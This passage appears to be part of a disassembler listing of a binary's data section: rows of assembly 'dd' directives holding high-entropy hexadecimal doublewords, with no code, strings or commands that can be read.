7DF6F555h dd 5384C425h, 0B146F230h, 0B4F8522Ah, 12B10F75h, 7F2D710Ch dd 53E2AAE2h, 7D1A70EBh, 7CF4740Fh, 29BC96Eh, 21D9DE6h dd 4DF9800Fh, 0C94C3811h, 3322A927h, 0A64AFA85h, 0B9709673h dd 150D00EEh, 0CF8185B5h, 0F22874F5h, 0E70F8075h, 52501782h dd 5EB96D60h, 5ED2611h, 60CA8036h, 2FE98533h, 0A508A691h dd 0C461142Ch, 154884A1h, 1C31916Fh, 3F9988Ch, 15B62E29h dd 750991D5h, 0F9A57103h, 87934F25h, 8297B2F9h, 123C513h dd 0B226E95Fh, 2B815819h, 16115A1Dh, 68432880h, 0A7B3D18Bh dd 2D06BD0h, 3ACEE1D7h, 0F766820Fh, 0B11F8622h, 0F7EB80EEh dd 9772F3C6h, 7366A1Dh, 775D83DEh, 91416C1h, 322A32D1h dd 0F3F95970h, 1E05294h, 31505FD3h, 813299BDh, 2B092576h dd 40982D4Eh, 38600E44h, 1CEBD29h, 0D5952391h, 0C4FA482Ah dd 6EED1048h, 8B47824Ch, 26A45EC0h, 0D01FA7B1h, 0FEFDD311h dd 6055A417h, 81DBC9D4h, 3FE0D0Dh, 584E8809h, 0D6C01888h dd 48A78F6Ah, 3510DCDBh, 0BD81100Bh, 65726F81h, 0B18E2061h dd 0C440A586h, 0F6E8601Bh, 42AA1C63h, 309712DBh, 0A3D57989h dd 402EA801h, 5AB9BE48h, 5031EA26h, 0DF9AF0Eh, 0A106622Ah dd 0C425D572h, 203660Ch, 184F6844h, 2B3C96A3h, 132CD88Bh dd 9A6167D3h, 1E38694Ah, 0FE930874h, 8165EB19h, 10C15B4Ah dd 3539B529h, 0D6BF384Dh, 0E4D62609h, 4087BEC2h, 4CC4CEE3h dd 0C9A72D00h, 0ACDBAE84h, 98CD0451h, 0F0E80A02h, 69E80FD8h dd 8B6635C2h, 0E9DF79FBh, 1A111197h, 8B1B0980h, 33249578h dd 5D0ACE5Ch, 2E45B108h, 22954A88h, 67701CD9h, 58B0B384h dd 560287C5h, 0F6BDB966h, 91E26559h, 0C7810230h, 69D734ECh dd 8FA459A0h, 6004115Eh, 0E9BB1248h, 0EFC59C1Ch, 62928820h dd 0D4009D66h, 0E15EED33h, 5994C217h, 3B223CD7h, 6E14249Eh dd 13447731h, 4B99E9h, 0C9C318E6h, 0CD00FCE8h, 7DD83695h dd 2EDE45BAh, 5B0BD78Bh, 0BA6641B4h, 9725E4Ah, 2F5B76D0h dd 1923E1h, 0DCD85F3Ah, 0E935DB89h, 0C0F1FBCCh, 0CDBFC241h dd 0FE2C97F8h, 5E9AAA85h, 481E10EEh, 98F9263Dh, 0F2D4477Eh dd 56AC17D4h, 407BD08h, 0A1F5B509h, 6D86A72Dh, 9B4EC00Bh dd 0AC09F4A4h, 129F058h, 3F68D1A6h, 0BF00C647h, 770BE650h dd 7268ED73h, 0D1F5374Ah, 60165BDh, 78E49B1Ch, 54C8825h dd 6B214E11h, 253A0C8Dh, 1BA7B352h, 0B2F72B99h, 0EA82CA89h dd 0AFD15167h, 13ABD7A8h, 0ACE92F2h, 0DE4F3A20h, 73450361h dd 99303BE5h, 2920BE5Ah, 767C9Ch, 0B63A1259h, 19A2DFE6h dd 0F2378D1Dh, 317A2E42h, 0BB60005Fh, 5312F0C0h, 0F8A1F82Dh dd 52857E20h, 8A1A8D0Eh, 0D7C008D3h, 3B9D0D45h, 4AB27533h dd 0D9FE882Ch, 0B4012444h, 0C548408Bh, 33011D16h, 5BFDE144h dd 84DCDD64h, 80240978h, 68028789h, 5F053005h, 0B960CCh dd 0A558E777h, 5E098BEAh, 0C438E50Fh, 0A6E0086h, 0C9FEF9ECh dd 659D01D4h, 4C801811h, 586D344Dh, 6C14BA06h, 954E5427h dd 5909B8B7h, 3E1480E5h, 48FF68C4h, 81074A01h, 74963BC1h dd 4195CB08h, 99B40148h, 404F082Eh, 0F2B650F8h, 59FD043Fh dd 47A22CE9h, 0F8F82510h, 4F078C1Bh, 4E307AF7h, 41EF8EE2h dd 7197CF99h, 0EC6B10E2h, 67C99D1Fh, 58F287A4h, 0C40785AEh dd 53DE9519h, 0DEE28BE6h, 91954D60h, 59700497h, 0BF229089h dd 80E69B4Eh, 0B0F3ECC4h, 875D0B13h, 0E5010D25h, 4C7CE9D7h dd 1848C5BBh, 67F68BBCh, 6017C44Ah, 2C4296C2h, 4E60E88Fh dd 4EF65D80h, 2500D152h, 70779CD7h, 2850452Ch, 74ED68FEh dd 0B6CF76EBh, 984120AFh, 62979660h, 32091241h, 799A052Fh dd 4110F8A2h, 1D18622Ch, 5C356C17h, 0D0C33F03h, 0FC13106Ah dd 878B31D5h, 18228415h, 0CF49CF24h, 84488CE9h, 69FD0B51h dd 0E95F0A7Ah, 0EABF5A21h, 98C95619h, 0E1B7EEh, 7E383F2Eh dd 0E7D0DBB2h, 2BEF9B02h, 403D4E3Bh, 0F1FD8D3Fh, 1782400Ah dd 0E7F18Ah, 6C7A8B4Dh, 35000F7Fh, 4CD059Bh, 0A781AB0h dd 0A2E360EAh, 2B2C2D93h, 15569DA2h, 2C092193h, 0E4C31C5Dh dd 45243BE8h, 6021CF0Fh dd 7C6BBC48h, 0B9438055h, 3EAAA102h, 0D4001108h, 2B693B5Ch dd 9A9DB58Dh, 70AF81D8h, 74FEC6A3h, 0FECB95C9h, 72046E97h dd 0CCC97F02h, 2F13752h, 0A40805E5h, 881B3D08h, 528EE295h dd 0FCA1EA29h, 0AAE25996h, 0A780A200h, 680A8222h, 0C09E5474h dd 925F56E2h, 893A8E5Ah, 0D70F92Ch, 686EA6A8h, 8C19FC83h dd 2A7BDF02h, 84C428DBh, 0FC4C0142h, 424FB554h, 99335EC9h dd 11E32501h, 0C8A10C71h, 0C21293F1h, 2B4A036Ah, 0CC264A1Dh dd 81B610Ah, 0C9950102h, 7FF20909h, 0B926C066h, 6EF8C4CBh dd 8879CFF8h, 0CA6DC11Ch, 0DFC0FA9Fh, 0EB4EC7E4h, 4E8A73CCh dd 6061C8F0h, 0BDB0464h, 54A0B44Fh, 21085A9Bh, 79526609h dd 1B85183Bh, 228F003Fh, 14ADA95Ah, 6E1CA19Eh, 7A802917h dd 0FF87DD50h, 2DC1085h, 0A2894A22h, 0C070521h, 140586F9h dd 0DF8102DDh, 1851692Ch, 5FFD5C60h, 0EF304724h, 5AF59F07h dd 4F18001h, 4F0D3E20h, 8B698802h, 0F228FB62h, 81170CEFh dd 88E5C91Fh, 6430C0D7h, 921CC5h, 409E25CEh, 0F3D9D7D8h dd 75968F00h, 82598655h, 7C7994CFh, 0D8F2D847h, 1730A617h dd 0E4A9C8C8h, 41353D05h, 4BE8213Eh, 288C15ECh, 3FA261ABh dd 25CAB5F8h, 880F1377h, 21EE23B8h, 88FD2D41h, 0F05D19B8h dd 8028563Dh, 4BF2EA3Ch, 0BF28918Dh, 0D96728F8h, 0DBAD9E6h dd 0D127EC9h, 0DB4F9D1Dh, 0A16AB5E2h, 20B278C6h, 2B1CFE2Ch dd 80102859h, 9D8C03D6h, 0B1B7084h, 22664BE9h, 60620CB4h dd 18F970h, 0A873B966h, 0D18B6116h, 803166h, 50B12AF1h dd 1B45BD29h, 0B04921B1h, 2E9D0104h, 50022AFDh, 0D094870Fh dd 7BACC967h, 0B2DA0181h, 0E585C72Eh, 0C3616E20h, 0AB630195h dd 0AB914F69h, 770AFA5Dh, 0B0E0F860h, 3D6100E6h, 0B72A3F10h dd 3603AB86h, 0B9886966h, 20E0B6C9h, 0C782FAD4h, 505407C4h dd 480E6825h, 3428156h, 0F8017634h, 3140DABAh, 8309C44h dd 0EC6F28CCh, 0CD4C8C17h, 0FC104C1h, 0BA40058Dh, 5D9BCF0Bh dd 0D79406B3h, 53EE22B1h, 8D0B0FF5h, 5B941571h, 40AE604Bh dd 3567A1Ch, 72F82E1h, 2F0CD652h, 0B15A5C80h, 38916144h dd 342CFC92h, 31B18A0Dh, 8B0B41E9h, 811922CAh, 504D49D1h dd 99FE056h, 2099B529h, 80171F14h, 2675ACC9h, 24721AB1h dd 0A343B6D7h, 0A118F150h, 6F2E9B4Dh, 0BACE01A6h, 71DBE6D4h dd 6AC5B0BAh, 0F961031Ah, 85294365h, 0D1941792h, 0E99BB507h dd 92BFF7C3h, 400049B2h, 5B72EFECh, 1A9D96A3h, 0E16AD001h dd 2D592541h, 0E9A80A05h, 858B83ADh, 3BE50DB9h, 11B2398h dd 617AFED2h, 0C67E8589h, 54C88A0Fh, 0E94D09B5h, 0BC380618h dd 850E454Bh, 0C080D6B8h, 937DF387h, 0DCC5134Eh, 820C9464h dd 0BC44F470h, 0C009BD3Ah, 0B4670BB9h, 1E597896h, 0E06F3EACh dd 0B3A777F9h, 225D0B24h, 851384D0h, 5BBBD7ECh, 1866E812h dd 0E8DA520Fh, 581929D7h, 0BDC82D89h, 8290F846h, 1616F120h dd 0B4E8F38Bh, 5900EC89h, 12B395F8h, 2A5FFCh, 429AED57h dd 0E781756Bh, 58544005h, 5B245A69h, 4AC95AC3h, 67B6E9Eh dd 7EA38339h, 0ABD903Eh, 2EAD1F14h, 0A5B2425Bh, 0E58080C1h dd 0F2DE6383h, 0D9903FD9h, 412089BDh, 4FEB7115h, 1A139184h dd 27D192h, 0E161A257h, 0F4004F30h, 8B3FB7A9h, 98E3230Ch dd 518D2D25h, 0A9D87925h, 0F01B8F1h, 0C4C6BE9Fh, 0FE6109A0h dd 10EBE90Fh, 105D6A7h, 8ACC01DAh, 94538541h, 1C3CF9DCh dd 1DBA8903h, 6765043h, 0E108B520h, 25B9210h, 0B509FA03h dd 51F98292h, 0C5181C79h, 0FE0F6200h, 0C2D223ADh, 208E9841h dd 60171ED5h, 4940D48Ah, 0DBFFC3BFh, 2A18B73Eh, 0A5B48E0Fh dd 95C6D04Eh, 10BD791h, 201AF985h, 79C28181h, 33E109C4h dd 31D9606Ah, 3D978320h, 6BEC2FC0h, 0F1BA6605h, 8C6F5093h dd 0E5B9007Eh, 3B2F11D9h, 8915A832h, 4651B1B5h, 0ECF4B353h dd 9DA69FC0h, 92FC5E94h, 56FB16E5h, 0DA6EBA80h, 1CB5B91Ch dd 9CFA1377h, 65CB40CFh, 68D9AE12h, 0B4868E1h, 71EE8A53h dd 7440A617h, 0B9001B46h, 48E18992h, 0A7488D09h, 2D407806h dd 36CA3A81h, 0B36AAD17h, 0FE45507Ah, 0BA0123B3h, 7C267F6Fh dd 0C8482266h, 0A3F84D24h, 25773EF7h, 556813DDh, 19C40B4Dh dd 29BC1840h, 4025A17h, 641239DFh, 6AB8E3E9h, 0EC7F131Eh dd 44034BC0h, 0B9CB8B31h, 5338644Bh, 0A3F98B0Ch, 178C693Dh dd 1E93A02h, 0B3D5B503h, 571B062Fh, 4DBD9533h, 22705F58h dd 806BB112h, 0B46D18A0h, 2800A29Ch, 8F034445h, 543D5926h dd 88B73296h, 8925B966h, 59E09A82h, 75C90032h, 6E20D09Eh dd 5CE8A072h, 0D483474Ah, 0A4D48C95h, 312CEAA3h, 9DE42DE4h dd 0E4DCAEB6h, 0BA7F4C9Bh, 93129510h, 0C611193Fh, 42C6F80Bh dd 8B60E00Bh, 9766B8D9h, 0B6F8F1A9h, 4A79155Dh, 1823F93Bh dd 7671FB07h, 79F963F2h, 0F953A905h, 0D02A1917h, 0AD9D29A5h dd 0F1446EEFh, 82992A55h, 40A53160h, 534AE902h, 78BFC3A4h dd 0CF5F5BD6h, 0C1168804h, 90A2100Ah, 382201D2h, 4D8D2916h dd 0FF4192B4h, 23013B3Ah, 23860019h, 0D630F9Dh, 15DCCC4h dd 3C29E7A5h, 0F260E907h, 5C641AFFh, 39001746h, 6026A3ABh dd 5B04DF80h, 0E861F48Ah, 616F89A5h, 2F5AF86Ch, 1D117144h dd 0F9DD236Bh, 2DD40BDDh, 98C16E8h, 333EFD42h, 0AC2078Bh dd 62822435h, 7660476Ch, 0E6816011h, 0E82FD388h, 60574268h dd 801055FFh, 24833E9h, 82FA8C50h, 2574E1DCh, 8B13FD84h dd 0D45DFCF6h, 0F8CD4B33h, 16B96E8Ch, 17C37551h, 149EE180h dd 92FEE450h, 0BEF04756h, 0C81706E0h, 5FF24FC7h, 0C2240202h dd 0FC40DDD3h, 0ED01122Ah, 72E55827h, 787D4049h, 16002FB8h dd 253DD487h, 0B764FBCBh, 11023E84h, 45F49880h, 346A8011h dd 2BD9E8CBh, 836E7894h, 848A4F15h, 0DE915405h, 20AE0728h dd 0C2950162h, 5823575Ah, 954BFC85h, 45602CCh, 0A8B85268h dd 5C6A789Ch, 10204304h, 81DF64EEh, 347BE71h, 4328B2Bh dd 0EC18AC9Bh, 0F05D3479h, 4F481EA4h, 2F261E2Ah, 0A8036DEFh dd 7D436095h, 56286A53h, 0C08518C2h, 41759875h, 64980B68h dd 2DDBDB87h, 687060E5h, 72A4684Ch, 208056E7h, 479D8B82h dd 45BC42Fh, 0AB4CFDA0h, 15638554h, 9FE5FDC7h, 500C43D8h dd 2E850702h, 52871B29h, 0C47020Dh, 8BA4B52Eh, 671411A2h dd 97684502h, 292A5F7h, 0CD1C2C51h, 580C0267h, 32537528h dd 0A1B46D60h, 0C914E1Ah, 343A5A97h, 81805859h, 0C0397AC9h dd 48CFEC52h, 4930016Fh, 22386DB8h, 805CB7B7h, 5174C8EDh dd 0E709D5C5h, 0A2975B86h, 0DC8D015Eh, 1F89A5D0h, 6414C85Ah dd 37B35FFh, 66C4E981h, 891A1075h, 16EB9425h, 30212AF5h dd 0C1520F1h, 50277DD8h, 35B1095h, 0DBE4B0h, 1C626023h dd 0EBC065E1h, 29BD891Fh, 5A5F35E0h, 9405F84Eh, 435634F3h dd 0CEE087A6h, 731D9193h, 0A145DE71h, 800460C9h, 30B0A41h dd 610E1059h, 7660E980h, 571764E8h, 0EFE93BCCh, 910A217Eh dd 0A4040408h, 33012B6Dh, 22800FDBh, 85310F71h, 0C01DB8EDh dd 0E68A3160h, 8019F532h, 3F0F407Dh, 5B640B07h, 0BE7C568Fh dd 6EBE6EC4h, 0E93100B5h, 1A7075E3h, 0D4453CB8h, 387BC952h dd 1800B63Ch, 0D129D9CDh, 700E4A52h, 369DBF66h, 544BB88h dd 167CDE6h, 0FBFD81D7h, 0EF442FFh, 68820B24h, 0F3E90216h dd 0C49B9B5Dh, 0B64AFAFCh dd 0A4E5F24Eh, 660E1CBDh, 4C20D3EFh, 81C70C24h, 0FF2FA466h dd 65837A03h, 50415B8h, 98BC3B6h, 1F0E0C92h, 815D0411h dd 0B1918FEDh, 1B45838Bh, 393D8706h, 34894318h, 3DB94F5Dh dd 419D16B8h, 64061E57h, 37D85E3h, 89881995h, 25B524F8h dd 9554E9C4h, 0DB59E140h, 0C53F00B1h, 9CE7BBF3h, 7A1D3667h dd 1D87D981h, 38291659h, 209529D7h, 0B95B0F45h, 4B81D40h dd 4855D7h, 0F7816405h, 0D465BB0Dh, 0BA868503h, 8734B640h dd 5FE8EAD1h, 0C1ED0C9Dh, 4D5868FBh, 28912A56h, 5A192A61h dd 3A2B4E60h, 39031D23h, 0F74B1FCBh, 9AC61C50h, 0F8BA006Dh dd 604E3A64h, 0A90C0B2h, 8161DF00h, 0B1D549C7h, 0A829431h dd 0A8ACA595h, 0D682256Ah, 3D08861Fh, 13954204h, 85B00B10h dd 0AC7120C8h, 4ABA30C6h, 4667F413h, 70DC8B89h, 0B5D239BCh dd 0EFE79402h, 8FDE5E47h, 29FF00DCh, 0A638574Fh, 3D2D9D31h dd 3A329106h, 90ADDC56h, 382E1C56h, 1567835h, 637845E0h dd 74706500h, 206E6F69h, 0EC66E649h, 616D2872h, 3C13980Ch dd 73B9656Ch, 8202C9Bh, 74A964E3h, 36CEF768h, 77E66C71h dd 677E697Eh, 647F637Ah, 0BE28736Fh, 4061E57Eh, 0FE7864ADh dd 6D2ACE2Eh, 68542083h, 3D6B163Bh, 9B75BF79h, 0FD040D0Ah dd 70280131h, 62734698h, 521D5443h, 0EC7F2B4Ch, 0D9699ED1h dd 0B664971Eh, 2AA18FA0h, 3C087970h, 62BF696Ch, 64726185h dd 42361029h, 5465561Fh, 0DF9F9973h, 7225DE3Dh, 8780431Eh dd 4E496B63h, 1C640FA9h, 5455234Fh, 6F725087h, 0F211DFAh dd 0F193B6Dh, 7469E601h, 0C80F3DA1h, 50CA5B1Eh, 1D188E8Dh dd 8F812B1Eh, 0C1141BA1h, 4012D2Ah, 0AAC39181h, 0DAA8276Bh dd 25681907h, 0D3A57080h, 182419D8h, 1922513Ah, 13078BD6h dd 411628E0h, 0D6D2B024h, 0ACD25265h, 882542C0h, 1A537126h dd 0A07132C8h, 0C4A1DD1Ah, 36216BBEh, 216BA7C4h, 6BAFC42Ah dd 0B6C42E21h, 100C462Ah, 0E9122DF5h, 84C9E8A2h, 3A540A09h dd 210D952Ah, 442F0EF5h, 9742B0F3h, 0C2810C68h, 7B1CF827h dd 958D0B14h, 52300CC4h, 0C3402834h, 463B58D4h, 97021512h dd 0C8D06E98h, 9D8B8A55h, 4CC38B13h, 659A9BE2h, 8501131h dd 54908726h, 58793288h, 90873608h, 0A92A885Ch, 0DAA4FDCh dd 1468D1AFh, 995ACD14h, 2A0C2E0Ch, 21364386h, 0DE269032h dd 1C0AA1A2h, 54291C26h, 3650507h, 0B0C2BC1Fh, 0CA406A24h dd 5A193E24h, 25BC4873h, 8BDD9801h, 18EB2CC1h, 0F298D48Eh dd 94600240h, 71CA384Dh, 3DDB4Ch, 0C904C261h, 7041E634h dd 8149060h, 8C56F621h, 0C324C34Fh, 2106F8E9h, 3E13B58Bh dd 0E681388Eh, 8C18F035h, 37B9E855h, 0E8C68109h, 61B53BA9h dd 860F3917h, 1E51BBE9h, 737ED820h, 506FCF60h, 9C88C66h dd 0C00A0324h, 3F2A1B08h, 7D21AF5Bh, 4D22858Bh, 0A188604h dd 163F84DBh, 7BA71C67h, 0C6240419h, 0FD5013CFh, 700891C2h dd 0EC2D41C6h, 4C7C010Fh, 9E3FE5Ch, 68531CC0h, 0F6896617h dd 209C5FCh, 953725Bh, 820E4CBAh, 0E0424314h, 5361BB22h dd 0E380CBEFh, 0CDDB4A97h, 0CE760BD9h, 0DB6DC9C7h, 0E6449B0Ah dd 0C59198A2h, 0C7065789h, 0F2528E18h, 32234320h, 995BBD01h dd 6010A3A2h, 0EA923E80h, 1BB3144h, 763AB7A1h, 0CAB101B0h dd 0AC407C5Eh, 3902C88Ah, 0D10332C3h, 0D20BAACBh, 19014022h dd 0D6C90A4Ah, 0F02316E5h, 1011D4DDh, 0D48B5207h, 87A3057h dd 0E950C033h, 8038AA21h, 158D563Fh, 0DBC5A5Fh, 32565153h dd 236BDBC9h, 0D8D0AC09h, 8103D3D1h, 465ABCC3h, 0F4B07937h dd 970B6449h, 0C38B40E8h, 0E85B595Eh, 957BA660h, 95AC7C11h dd 0A2772AEAh, 72E704C0h, 0F811ADFh, 9404A8D8h, 0C4D4293Ch dd 35FE3DB8h, 8F606063h, 21D2BC85h, 6B4640Ah, 0D22BD1Fh dd 23E93889h, 65632A3Fh, 1705F040h, 9B4614F3h, 14902189h dd 46F53CCFh, 1FD11E65h, 43AE2430h, 694587E9h, 727620DFh dd 7A014D90h, 0CAB2B80Ch, 333CA945h, 30060E9Ch, 46C8D140h dd 0F14F73Bh, 908DF182h, 280829EAh, 284C297Bh, 51567028h dd 40135348h, 0C494A2Ch, 2D3C8567h, 800AC908h, 13349804h dd 0C112D832h, 1C1508C3h, 0A1CD467h, 375E595Bh, 44219820h dd 0E2211240h, 0C6C2A2Ch, 100FAD21h, 1125C494h, 8173A813h dd 0C075B326h, 0F78D6880h, 0A71312A8h, 0E4B71F25h, 6C3900E0h dd 0DD7B0844h, 5F0E3270h, 52C08158h, 66F6A0h, 0B944EDBEh dd 53D24D31h, 0CAD689FFh, 3E5092Dh, 0D85230FBh, 131831E2h dd 45A6649h, 81F78B8Ah, 0FD39F6A3h, 0B5883A2Dh, 3004074Dh dd 11543A68h, 0E8144A5Eh, 981DCAECh, 5A00E7C9h, 8ED5EB81h dd 66423BE6h, 217AD68Dh, 6C52FC16h, 53FC2C0Eh, 0E1F50F8Fh dd 112A38E8h, 8B059960h, 0F677F2C0h, 9AE2804Fh, 3DE28A00h dd 6B811153h, 0EE056200h, 3EB987E1h, 0BF8202E9h, 5F65E7FAh dd 55348286h, 40BA661Ch, 22E24914h, 3EBE2884h, 96F00ABh dd 9B41B429h, 0CC07DF4Bh, 91D21269h, 0E0D1AB13h, 129C7A9h dd 16310105h, 9828AD66h, 0E721C209h, 0FB050021h, 49067447h dd 1B00848Ch, 4893652Ch, 0FD1ADC8h, 8F2AB2B6h, 0D7C6003Eh dd 21C11D41h, 68349500h, 0A7AD508Ah, 2ECA03D1h, 0AF60E10Dh dd 58E66FE8h, 40D7C900h, 0C52A037Ch, 0F0F92066h, 5945A71Dh dd 2089FACAh, 8C55D570h, 7738A87Bh, 0E87232E1h, 52B3093h dd 26310311h, 33A4BD88h, 0BB2D0500h, 7569CDA2h, 0C0477CA1h dd 0EDAC6E78h, 0F8C40491h, 504D62C3h, 28418030h, 129BCCABh dd 432A1BD6h, 92A818AAh, 0C90063B4h, 35175BF4h, 18423C87h dd 38D58FF9h, 9938F1A7h, 865B036Ch, 3052ABCDh, 1121EE09h dd 87006C92h, 9D67AE5Dh, 6E01E90h, 2B516DF2h, 0B61881B0h dd 98B14458h, 0C90E1407h, 0E00F9C09h, 28B8FBC6h, 0D86034B8h dd 4D085259h, 800F39BAh, 6DA53304h, 88108EA8h, 6FB7C0C4h dd 6004831h, 3D57A404h, 0EDF5EB8h, 47F3EC5Dh, 79DB2CE6h dd 0ACC4E01Bh, 7E29C0A8h, 919218B0h, 0CD6751B2h, 8D165D00h dd 9808A447h, 1F9BF2C8h, 945E5B06h, 0C0BCEC11h, 92961F8Ch dd 0E35E44D5h, 9A1480C9h, 0DE664136h, 4658A989h, 52E0296h dd 313E3106h, 26EC10BEh, 615E0705h, 0E10FBF4Eh, 22912B44h dd 53AC0008h, 560DE405h, 0EC1D01CFh, 441B58A1h, 5FFCE0D2h dd 0B89A3605h, 8C47E932h, 4854BAh, 58F68EDDh, 0FBB0D71Eh dd 8191FD00h, 0A0944B10h, 0A2C7D79h, 0CECB3606h, 0BC280160h dd 0F4E252ECh, 0B7006DCDh, 0A0623288h, 3DD8D7Bh, 0A92CD374h dd 7100E28Fh, 5FCAA480h, 0AF8784h, 69F8CE42h, 0F37ED4FAh dd 195D5800h, 0CB82903h, 1548040Bh, 41AD38A6h, 0FA423BA7h dd 9A026426h, 8E5B016Ch, 1210EA31h, 82756C93h, 0A407C873h dd 2FCBFC1Eh, 0B192BEB1h, 0ADD41910h, 0A71F9000h, 556A0F13h dd 60F206h, 0E8E6F643h, 2BB801DCh, 4442BA28h, 9E02FE46h dd 0AE5B056Ch, 1610E931h, 0A5026C97h, 15D4D6B8h, 0F444BAh dd 0FA9D01D8h, 49620FAFh, 907CD00h, 0B866CFCBh, 90617D42h dd 2944614h, 3104052Ch, 10BC312Eh, 50524EAh, 0C4E19102h dd 0A2D840AAh, 0AEDDF66h, 0CD35E0E6h, 241F19ADh, 0A96111BAh dd 1852070Fh, 2A530EE0h, 327CF0AAh, 44129029h, 0CE18BB59h dd 992FF701h, 51F60434h, 0A98A2BD0h, 0E9F8E0A4h, 0ACF1FA8h dd 19821832h, 617CC554h dd 6AB48C6h, 906C61CEh, 33129723h, 30E9A268h, 1607B224h dd 0CAE18EBDh, 348280FAh, 6095339Fh, 0B09BA01Fh, 0FC380020h dd 0FF5524B0h, 0F050AE6Ah, 0DB2C1CD8h, 5BE418C4h, 61025C01h dd 309182B6h, 0C0BCD757h, 46CE4Ch, 0AF6381B3h, 19DA5A6h dd 0C85C2B59h, 0E22021BFh, 90307E54h, 5BD9C0E6h, 540A3FE4h dd 88070C00h, 527A13B8h, 1CEB036Ah, 0D294C7B1h, 0EE0490B7h dd 640A4D6Bh, 0B458B702h, 0D001D196h, 0B12D9433h, 0C0428E2h dd 31294D90h, 0A8B89407h, 2F0661Dh, 0CCD0455h, 0B7375732h dd 0C00F2EA9h, 80AF646Bh, 0A831CCDAh, 0DCC083E1h, 0F20F34A7h dd 0D36CBCDh, 0E0302817h, 46DB4503h, 70CE31B0h, 67A683ACh dd 5120FE87h, 9880E1A2h, 0B45B0EA8h, 0A00769A5h, 44310F52h dd 0D674FB10h, 2D32009Bh, 0ADCB8758h, 332CF75Ch, 6A0008EDh dd 32A7E276h, 0CCD4141Ah, 0D30445Eh, 0C75D0951h, 6C312F60h dd 602B6735h, 3ECA80CDh, 0FCA1D3BDh, 0C093F030h, 2E4018C1h dd 6D01E8F9h, 0C9F557h, 2801194h, 0A7A5F31Ah, 94281B87h dd 10AF509h, 0CBA2A6ECh, 0BAEEEDE0h, 2D571030h, 3B3C58E6h dd 529240A1h, 446CCF2h, 34862AE1h, 795192A4h, 4A0FF0B8h dd 0BA948A50h, 0A4DF3C04h, 7784AAD1h, 98928000h, 19A83F08h dd 298C6B10h, 44DE0828h, 0B78B84F2h, 612635E0h, 455526BEh dd 0C0711DF7h, 7C8C879Ch, 0AC7768B7h, 2ABF4F01h, 4A9DEB67h dd 6BE05E21h, 5DDF428h, 0FA470988h, 331B80A0h, 0C11F5A9Dh dd 1B80FFC6h, 0EE520F06h, 0BE9016h, 67995EB2h, 0F42B8E24h dd 91012CF0h, 9649C85Bh, 15C08C61h, 9CF20048h, 9DF8D155h dd 242A19D6h, 0DA008CFCh, 0A5492D9Ah, 4CE8A061h, 4600101Eh dd 0CF7C8E42h, 9E792A74h, 82C6DF00h, 0CE37B9A9h, 72B2003Bh dd 713A342Ch, 0A62AAC24h, 9F00B478h, 0F5C1EE25h, 760BFD2Dh dd 379E00DDh, 2B9CC2FFh, 7A3CCEC7h, 0F3EA81F1h, 3FBD8CA4h dd 0EC3E5AECh, 90C50079h, 0BE37150Bh, 230F2BB5h, 6E403854h dd 0F8401D09h, 0B7BDB898h, 0C5240CA7h, 0ABC11889h, 0BBFBF500h dd 0E11178D9h, 18DD79h, 7FEC6BFCh, 460057B1h, 0D682930Ah dd 0F6005E4h, 0E36F2666h, 0F64E4440h, 0BD00E82Ah, 0D6E69A13h dd 5D426Dh, 11F49E4Bh, 3B7F477Bh, 0C65B1000h, 0DBD53D4Dh dd 0B77BC8h, 55E2EBF3h, 30DEF0CBh, 302A8330h, 15D216h dd 0A0C0199Bh, 0E8356797h, 7ADF541Eh, 8F779900h, 0EA11CE02h dd 627C009Dh, 0E982B68h, 0B90066AFh, 4D9B810Ah, 21D5A9Eh dd 3E8BAA8Ah, 8400C40h, 6A00CEA5h, 12FEB321h, 604DEh, 39984E34h dd 0C3DC8CFDh, 6A1FE701h, 0C9A2E6F0h, 0D25C2180h, 0AD250A1Dh dd 7500E773h, 0C7A81BD0h, 0BDA7CCh, 82CB46AEh, 8AB55DC1h dd 625AE100h, 0C376F588h, 0D2382491h, 0A8060320h, 68CEFB6Ch dd 89F6A100h, 0A080794Ch, 658A05D7h, 80EFBE2Ch, 0DFBF3235h dd 6F2A500h, 3B808982h, 0F4B650D7h, 0D8380043h, 9F749CDh dd 0C700D6FCh, 6FB17284h, 0FCF78A3h, 8573CBD4h, 0CA6AC840h dd 0D0FD8F79h, 833DB57Ah, 53860031h, 0A0FD03FEh, 2A210758h dd 0E0E184B6h, 4D2519B1h, 0E008094h, 297CCA88h, 9BE91F67h dd 0B8054048h, 0D3203064h, 40127E00h, 0B9C416F3h, 9FAF0065h dd 0C0D052DAh, 0EE0026FAh, 0B0818DEh, 9E230FBh, 830135A5h dd 468EBB00h, 44967F1Ch, 36ED0C01h, 0B160B3DEh, 37C3121Dh dd 0B5E00043h, 0C77CE30Ah, 4C4F3201h, 0B76F17Bh, 3356424h dd 0C8157360h, 2900DE87h, 96B9D928h, 303AF72Fh, 718F39Dh dd 993CE764h, 48F9F1Fh, 0E500B428h, 5A262551h, 295DE0h dd 0D6ADBA33h, 0C9FE7B7Dh, 0D359CA1Eh, 72DEE341h, 0B18027C4h dd 606713E9h, 8500F303h, 0A1D9227Fh, 0E2BC3E9Bh, 9E5903B6h dd 35F1D5DDh, 138B61B0h, 0AC4E7900h, 0CA229A33h, 3B80251h dd 0C7D06EE7h, 0F32A1860h, 2E3BC209h, 0CF0C802Bh, 7C2367h dd 0E6975461h, 0E4BE033Ah, 77F06360h, 1E8FB9EEh, 44277A37h dd 0C01C2A68h, 49599C40h, 75A08400h, 3C77D765h, 0C78100CBh dd 0AEA95E67h, 2C00266Fh, 4B058CDDh, 0EEAAE3h, 5F1D2E5Ah dd 0D94A85E5h, 6C308060h, 7B4BCB7h, 59F2FE6Fh, 0EFF7C0C5h dd 240008CAh, 312AD4FFh, 0C89805h, 7F096DE9h, 0C9367B84h dd 0CB7C3900h, 58B1BA43h, 0CFD91FA0h, 0F075C077h, 0FD5BF455h dd 0A4000BFAh, 9D36AF6Ch, 38CC1Eh, 0E1D04FC3h, 9661BA03h dd 0F9A4E500h, 988A6D66h, 0B6F30042h, 6A2E159Eh, 0A3078041h dd 22B93370h, 76DA52F0h, 4019005Eh, 0D2E19E3Eh, 4C009548h dd 0A2C4CCACh, 0AE46F5h, 5E99E005h, 7A2E13EDh, 0BBCB800Eh dd 0B2274078h, 704153Eh, 8F53CF0Ah, 5BFB6040h, 7E007050h dd 73B064BDh, 755862F9h, 0D4080086h, 0F121FEC4h, 43006DC6h dd 2BC24C5Eh, 38365D8Dh, 7200A4A5h, 0BA57144Fh, 4A00E95Fh dd 9CC70ADCh, 0F0E850FBh, 0A8B600ECh, 89C86B21h, 4DF6D34Eh dd 0E50A14B2h, 0FC902D02h, 48ECD51Dh, 65BE8881h, 0DC4DC91h dd 